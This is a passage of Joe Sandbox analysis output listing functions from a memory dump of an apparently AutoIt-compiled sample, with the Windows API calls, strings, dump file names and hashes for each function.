RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,007C3B0F,SwapMouseButtons,00000004,?), ref: 007C3B83

Strings

Control Panel\Mouse, xrefs: 007C3B3E

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 9c8030313db181661d32c067842f3f77f430c98c4195f7efd825a160fab383a0
Instruction ID: 18c0af9de58db67b25e2d5d45c0897365addcfb2ec79d1cd9fc069948672e21a
Opcode Fuzzy Hash: 9c8030313db181661d32c067842f3f77f430c98c4195f7efd825a160fab383a0
Instruction Fuzzy Hash: 0D1127B5610208FFDB208FA5DC84EEFBBB8EF04795B10846EB805D7110E235AE409BA0

Function 007C3923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 008033A2

Part of subcall function 007C6B57: _wcslen.LIBCMT ref: 007C6B6A

Shell_NotifyIconW.SHELL32(00000001,?), ref: 007C3A04

Strings

Line: , xrefs: 008033EB

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: IconLoadNotifyShell_String_wcslen
String ID: Line:
API String ID: 2289894680-1585850449
Opcode ID: 84f5e8b7b21fd016098f406569e852df9d46c5680bff2d3bc8bfbb966c4f3841
Instruction ID: 8819eea696ff22caa13f904329a7335340c7115a082d19f31f2670af5a0d4ec2
Opcode Fuzzy Hash: 84f5e8b7b21fd016098f406569e852df9d46c5680bff2d3bc8bfbb966c4f3841
Instruction Fuzzy Hash: 6A31C271408301AAD721EB20DC49FEBB7ECBB44714F04892EF59992291DB7CAA48C7C2

Function 007DFDDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 007E0668

Part of subcall function 007E32A4: RaiseException.KERNEL32(?,?,?,007E068A,?,00891444,?,?,?,?,?,?,007E068A,007C1129,00888738,007C1129), ref: 007E3304

__CxxThrowException@8.LIBVCRUNTIME ref: 007E0685

Strings

Unknown exception, xrefs: 007E0692

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: cb7dc485e4ac6d2a84ab472da3d80964c3790ab872589f39802b8d14ab389d3e
Instruction ID: 8c0d27525c9208a91f4cb87982e1bd4ab32a0219edb697a197c4835dd280a50a
Opcode Fuzzy Hash: cb7dc485e4ac6d2a84ab472da3d80964c3790ab872589f39802b8d14ab389d3e
Instruction Fuzzy Hash: 58F04C3490128DF3CF00B676D84ED5E777DAE04310BA04431F924D6691EFB8DA65C6C0

Function 007C10F3 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON

Download Yara Rule

APIs

Part of subcall function 007C1BC3: MapVirtualKeyW.USER32(0000005B,00000000), ref: 007C1BF4
Part of subcall function 007C1BC3: MapVirtualKeyW.USER32(00000010,00000000), ref: 007C1BFC
Part of subcall function 007C1BC3: MapVirtualKeyW.USER32(000000A0,00000000), ref: 007C1C07
Part of subcall function 007C1BC3: MapVirtualKeyW.USER32(000000A1,00000000), ref: 007C1C12
Part of subcall function 007C1BC3: MapVirtualKeyW.USER32(00000011,00000000), ref: 007C1C1A
Part of subcall function 007C1BC3: MapVirtualKeyW.USER32(00000012,00000000), ref: 007C1C22

Part of subcall function 007C1B4A: RegisterWindowMessageW.USER32(00000004,?,007C12C4), ref: 007C1BA2

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 007C136A
OleInitialize.OLE32 ref: 007C1388
CloseHandle.KERNEL32(00000000,00000000), ref: 008024AB

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 499cd24c498cf5d77826c36c65fd7e1f064f14f8dd6c00caea352d4b5c361015
Instruction ID: edd2bf79495671fb66d00451c9b4c2c1d9e87d2ccf29af1dd76bae969a3e2a5c
Opcode Fuzzy Hash: 499cd24c498cf5d77826c36c65fd7e1f064f14f8dd6c00caea352d4b5c361015
Instruction Fuzzy Hash: 2071B7B49193028ECF85FFB9A94DA583BE1FB8834434E822FE51AD7261EB344409CF44

Function 0082C161 Relevance: 4.6, APIs: 3, Instructions: 74timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 007C3923: Shell_NotifyIconW.SHELL32(00000001,?), ref: 007C3A04

Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 0082C259
KillTimer.USER32(?,00000001,?,?), ref: 0082C261
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 0082C270

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: IconNotifyShell_Timer$Kill
String ID:
API String ID: 3500052701-0
Opcode ID: d64261078a4e7a28319c9a55ccaaa8fecfe6288aad84b393e87eaac669ee3dec
Instruction ID: 90265bcce6bb69ab53b9089bcb97b98ca8863010e20bd2a0faa0dc00f7226b7c
Opcode Fuzzy Hash: d64261078a4e7a28319c9a55ccaaa8fecfe6288aad84b393e87eaac669ee3dec
Instruction Fuzzy Hash: 0D318170904364AFEB22DF649859BEABBECFB06348F04049EE59A97241C7745AC4CB51

Function 007F86AE Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000,00000000,?,?,007F85CC,?,00888CC8,0000000C), ref: 007F8704
GetLastError.KERNEL32(?,007F85CC,?,00888CC8,0000000C), ref: 007F870E
__dosmaperr.LIBCMT ref: 007F8739

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID:
API String ID: 2583163307-0
Opcode ID: 667951fa9933c60d698ac04c79d75b9f40f78a9bbbb3a8944b0eb03e8913a3c3
Instruction ID: 3073a3774a925ade5aefb2766007471988db13c6d119924614a4fd1bfc997411
Opcode Fuzzy Hash: 667951fa9933c60d698ac04c79d75b9f40f78a9bbbb3a8944b0eb03e8913a3c3
Instruction Fuzzy Hash: EE016B33605A285AC2A07338A84D77E67894F8277DF390119FB14CB3D3DEAC8C818152

Function 007CDB38 Relevance: 4.5, APIs: 3, Instructions: 29windowsleepCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 007CDB7B
DispatchMessageW.USER32(?), ref: 007CDB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 007CDB9F
Sleep.KERNELBASE(0000000A), ref: 007CDBB1
TranslateAcceleratorW.USER32(?,?,?), ref: 00811CC9

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchPeekSleep
String ID:
API String ID: 3288985973-0
Opcode ID: d0a3abb7f2ae800e065eaec97dff88ba03f8affb39ba99cb593b5ddebde3955a
Instruction ID: ce39da49538eed6a1e4c0c3260778b80f5721bc8a6948438ed6a4007645baa28
Opcode Fuzzy Hash: d0a3abb7f2ae800e065eaec97dff88ba03f8affb39ba99cb593b5ddebde3955a
Instruction Fuzzy Hash: 5CF03A306443419BEB309BA08C89FEA73ACFB88311F10452DE61AD34C0EB3898889B25

Function 007D1310 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 007D17F6

Strings

CALL, xrefs: 007D17C6

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: 63df77db3a383190283aef9bbfaccbd315f3877de8fdc1dc3fc33d84b86d19aa
Instruction ID: 170eba3241e4f5feeab7120dc3ac26264de3484d04bde3e3363a1f885dac8afc
Opcode Fuzzy Hash: 63df77db3a383190283aef9bbfaccbd315f3877de8fdc1dc3fc33d84b86d19aa
Instruction Fuzzy Hash: 7922AB70608201EFC714DF14C484A6ABBF5FF89314F58896EF4968B362D739E895CB92

Function 007C2DE3 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 00802C8C

Part of subcall function 007C3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,007C3A97,?,?,007C2E7F,?,?,?,00000000), ref: 007C3AC2

Part of subcall function 007C2DA5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 007C2DC4

Strings

X, xrefs: 00802C5A

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X
API String ID: 779396738-3081909835
Opcode ID: 902106a640404c79010464c2a8bb312ccd1105ec009c06759e710b0494889a09
Instruction ID: fa452d79c9dba659df2e595aaf3ebfa4c20333e94f5233a1134bfe637bbecf50
Opcode Fuzzy Hash: 902106a640404c79010464c2a8bb312ccd1105ec009c06759e710b0494889a09
Instruction Fuzzy Hash: 13218171A002989ADB41EF94C849BEE7BB8AF48314F00805DE505EB281DBB85A498FA1

Function 007C3837 Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000000,?), ref: 007C3908

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 7f21de7a6f84db892d43aee2e7d7458d3bdea957303dc97c8a4e132ac5862551
Instruction ID: 2911a6f6d5dcfe648347823d47dcbb842dc7815cc925c37a7e28ecda6d1ec9ca
Opcode Fuzzy Hash: 7f21de7a6f84db892d43aee2e7d7458d3bdea957303dc97c8a4e132ac5862551
Instruction Fuzzy Hash: 1E314C705047019FD721EF24D889B97BBF8FB49708F04096EF59987250E779AA44CB52

Function 007DF645 Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 007DF661

Part of subcall function 007CD730: GetInputState.USER32 ref: 007CD807

Sleep.KERNEL32(00000000), ref: 0081F2DE

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: InputSleepStateTimetime
String ID:
API String ID: 4149333218-0
Opcode ID: 734c4b13198cbf96e9b7ded096ff028a6d410cb36a9a5d29d52ffc0c004a41c6
Instruction ID: 180218724ca8111419349a8843516e246e0598eb8315662d20b49594ae0c82bd
Opcode Fuzzy Hash: 734c4b13198cbf96e9b7ded096ff028a6d410cb36a9a5d29d52ffc0c004a41c6
Instruction Fuzzy Hash: 32F058312407059FD310EB69E44AF6ABBE8FF59761F00002EE85AC7361DB74A8008B90

Function 007C4ECB Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 007C4E90: LoadLibraryA.KERNEL32(kernel32.dll,?,?,007C4EDD,?,00891418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 007C4E9C
Part of subcall function 007C4E90: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 007C4EAE
Part of subcall function 007C4E90: FreeLibrary.KERNEL32(00000000,?,?,007C4EDD,?,00891418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 007C4EC0

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00891418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 007C4EFD

Part of subcall function 007C4E59: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00803CDE,?,00891418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 007C4E62
Part of subcall function 007C4E59: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 007C4E74
Part of subcall function 007C4E59: FreeLibrary.KERNEL32(00000000,?,?,00803CDE,?,00891418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 007C4E87

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: ded36f688c4f8f721d340c7ea0670173cb23ac468248f9ad9572c1f4d52b869e
Instruction ID: 2ef5f14424b6eed17ece98477c23933e679b092b49d5cdd0444040d6d73d00d4
Opcode Fuzzy Hash: ded36f688c4f8f721d340c7ea0670173cb23ac468248f9ad9572c1f4d52b869e
Instruction Fuzzy Hash: 8D112332600305EADB10EB60DC2AFAD77A5AF40710F10842DF442E61C1EEB9AA449B90

Function 007F8402 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 007F8440

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: cb488dd69ccc24184284455ac54777f00ae5d3461d38e1c4dfeef1f1dd264e29
Instruction ID: 0c977caf22b3412f986230ffa549b95e20432214a39e06f3dc072f595c170273
Opcode Fuzzy Hash: cb488dd69ccc24184284455ac54777f00ae5d3461d38e1c4dfeef1f1dd264e29
Instruction Fuzzy Hash: 5911187590410EAFCB05DF58E9419AE7BF5FF48314F144059F908AB312DB31DA11CBA5

Function 007EE602 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction ID: 45546a8bc570fe10392127206bba3d3268b3180ec5b887669ee8dfe662f4a0f5
Opcode Fuzzy Hash: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction Fuzzy Hash: EEF0F932512A54D7C6313B679C09B6A33989F56334F100B15F620932D2DB7CE80285A6

Function 007F3820 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00891444,?,007DFDF5,?,?,007CA976,00000010,00891440,007C13FC,?,007C13C6,?,007C1129), ref: 007F3852

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 25af23fe168060a7cdc5fa170f32f329af7bbf25080e5fe4683ea8483bc26ef9
Instruction ID: a4fd2732631dac0ff22c91ca100ef3f7b04b8b3c6f3ae6e853b2fbbc473c8a9e
Opcode Fuzzy Hash: 25af23fe168060a7cdc5fa170f32f329af7bbf25080e5fe4683ea8483bc26ef9
Instruction Fuzzy Hash: B2E0E53210526CEAE62126779D08BBA3648AB42BF0F090022BE0592780DB1DDD0191F0

Function 007C4F39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,00891418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 007C4F6D

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: b8691accf1d7ea1b06a1508f3081c44fa4728977a5553eb638d82116deb31764
Instruction ID: 5fbd48d89e97c6e2f76f7da1b9427d0e72e52ad64ac658987b502e8432390a92
Opcode Fuzzy Hash: b8691accf1d7ea1b06a1508f3081c44fa4728977a5553eb638d82116deb31764
Instruction Fuzzy Hash: ACF03971105B52CFDB349F64D4A4E22BBE4BF14329328897EE1EA82621CB399844DF10

Function 00852A55 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00852A66

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: d2e6787ddb45ccacea308ceb59f47ce051da3de4cc905e57492b19e795ddb671
Instruction ID: de6812173c7ec8725bdb04b63d4f2e85d5204d93a227653657769a399c795eaa
Opcode Fuzzy Hash: d2e6787ddb45ccacea308ceb59f47ce051da3de4cc905e57492b19e795ddb671
Instruction Fuzzy Hash: 88E04F3635423AAAC714EA34EC809FA775CFB56396B10453AEC16C2140DF349A9986E0

Function 007C30F2 Relevance: 1.5, APIs: 1, Instructions: 24windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000002,?), ref: 007C314E

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 382c2de8c37115acc524bd4da63a7b6d82d97c8a0a86726d2d96e1ba43ba1f46
Instruction ID: 448296bf4cda5e492e3ca48c42b4a0ebed6dda9e82b60d2a6aa53651e3116621
Opcode Fuzzy Hash: 382c2de8c37115acc524bd4da63a7b6d82d97c8a0a86726d2d96e1ba43ba1f46
Instruction Fuzzy Hash: 48F0A7709043089FEB52AB24DC4ABD57BBCB70170CF0401EAA14896282D7784B88CF41

Function 007C2DA5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

